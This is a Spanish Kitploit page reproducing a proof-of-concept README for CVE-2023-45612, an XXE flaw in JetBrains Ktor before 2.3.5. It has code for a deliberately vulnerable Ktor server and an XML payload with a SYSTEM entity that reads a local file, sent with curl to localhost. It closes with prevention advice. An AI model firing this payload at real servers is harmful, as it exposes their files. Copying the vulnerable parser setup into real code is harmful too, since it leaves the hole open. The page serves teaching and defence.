Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ktor-xxe-poc — Este repositorio proporciona una Prueba de Concepto para CVE-2023-45612, que demuestra una vulnerabilidad de inyección de Entidad Externa XML (XXE) en versiones de JetBrains Ktor anteriores a la 2.3.5. | Kitploit
Herramientas/GitHubGitHub/razvanclaudiu/ktor-xxe-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubrazvanclaudiu/ktor-xxe-poc

ktor-xxe-poc

Este repositorio proporciona una Prueba de Concepto para CVE-2023-45612, que demuestra una vulnerabilidad de inyección de Entidad Externa XML (XXE) en versiones de JetBrains Ktor anteriores a la 2.3.5.

Ver Repositorio
hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-45612: Prueba de concepto de XXE en JetBrains Ktor

Este repositorio contiene un servidor Ktor vulnerable para demostrar la vulnerabilidad de inyección de entidad externa XML (XXE) identificada en CVE-2023-45612.

La vulnerabilidad existe en versiones de Ktor anteriores a 2.3.5 cuando el plugin ContentNegotiation se usa con el serializador xml() por defecto. El analizador XML predeterminado no estaba configurado para impedir la resolución de entidades externas, lo que permite a los atacantes leer archivos arbitrarios del servidor.

Las siguientes secciones son los pasos para que puedas recrear el exploit por tu cuenta.

Requisitos previos

Versiones que usé para esta PoC:

  • IntelliJ IDEA 2025.2.3
  • JDK 21
  • Gradle 8.14
  • Ktor 2.3.4

Configuración

Crea un proyecto Ktor en IntelliJ IDEA con el motor Netty, Gradle Kotlin y la versión 2.3.4 de Ktor (o una versión anterior).

Dentro de build.gradle.kts necesitarás añadir el siguiente plugin:

root@kitploit:~
kotlin("plugin.serialization") version "2.2.20"

y estas dependencias;

root@kitploit:~
implementation("io.ktor:ktor-server-content-negotiation")  
implementation("io.ktor:ktor-serialization-kotlinx-xml")

Código

Application.kt debe contener la función principal para iniciar el servidor y la función module() para configurarlo. Por defecto, la función xml() inicializa un analizador XML que permite el procesamiento de entidades externas.

root@kitploit:~
fun Application.module() {
    install(ContentNegotiation) {
          xml() 
    }
    configureRouting()
}

Routing.kt debe definir el endpoint que recibirá y analizará el XML malicioso.

root@kitploit:~
@Serializable
data class Message(
    @XmlElement
    val message: String
)
  
  
fun Application.configureRouting() {
    routing {
        post("/message") {
              try {
                  val receivedMessage = call.receive<Message>()
                  call.respondText("Message received: ${receivedMessage.message}")
              } catch (e: Exception) {
                  call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
              }
        }
    }
}

Cómo ejecutar

Compila la aplicación e inicia el servidor.

root@kitploit:~
./gradlew build
./gradlew run

Para probar el endpoint, crea un archivo XML llamado hello_message.xml.

root@kitploit:~
<Message>  
	 <message>Hello, world!</message>  
</Message>

Puedes ejecutarlo con el siguiente curl (en Windows):

root@kitploit:~
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'

Y deberías obtener el siguiente mensaje si se ejecuta correctamente:

root@kitploit:~
Message received: Hello, world!

Cómo explotar

Crea un secret_file.txt con algo de texto. La información que contiene es lo que queremos obtener con nuestro exploit.

Crea un archivo llamado exploit_message.xml. Su contenido debe definir una entidad externa &xxe; como el contenido del archivo secret_file.txt y luego usar esa entidad dentro de las etiquetas <message>.

root@kitploit:~
<!DOCTYPE Message [  
        <!ENTITY xxe SYSTEM "secret_file.txt">  
        ]>  
<Message>  
	 <message>&xxe;</message>  
</Message>

Ejecuta el siguiente comando curl (en Windows) contra el servidor en ejecución:

root@kitploit:~
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'

El servidor leerá el archivo secret_file.txt y devolverá su contenido en la respuesta HTTP:

root@kitploit:~
Message received: XXE was a success.

Guía de prevención

Actualizar Ktor

La solución más efectiva es actualizar Ktor a la versión 2.3.5 o posterior. Estas versiones utilizan un analizador XML predeterminado configurado de forma segura que deshabilita el procesamiento de definiciones de tipo de documento y las entidades externas por defecto, lo que evita directamente este ataque XXE. Alternativamente, también podrías configurar manualmente el analizador XML.

Implementar una validación estricta de la entrada

Como capa adicional de defensa, lee el cuerpo de la solicitud sin procesar como texto plano y recházalo si contiene palabras clave sospechosas como <!DOCTYPE o <!ENTITY antes de que llegue al analizador.

Usar un formato de serialización diferente

Esta vulnerabilidad es específica del análisis de XML. Si los requisitos de tu aplicación son flexibles, el cambio más seguro es evitar XML por completo y usar un formato que no tenga esta clase de vulnerabilidad, como JSON.

Probar el código contra vulnerabilidades conocidas

Busca activamente fallos de seguridad revisando tus librerías para detectar vulnerabilidades conocidas y prueba tu aplicación contra exploits comunes.

Descargar herramienta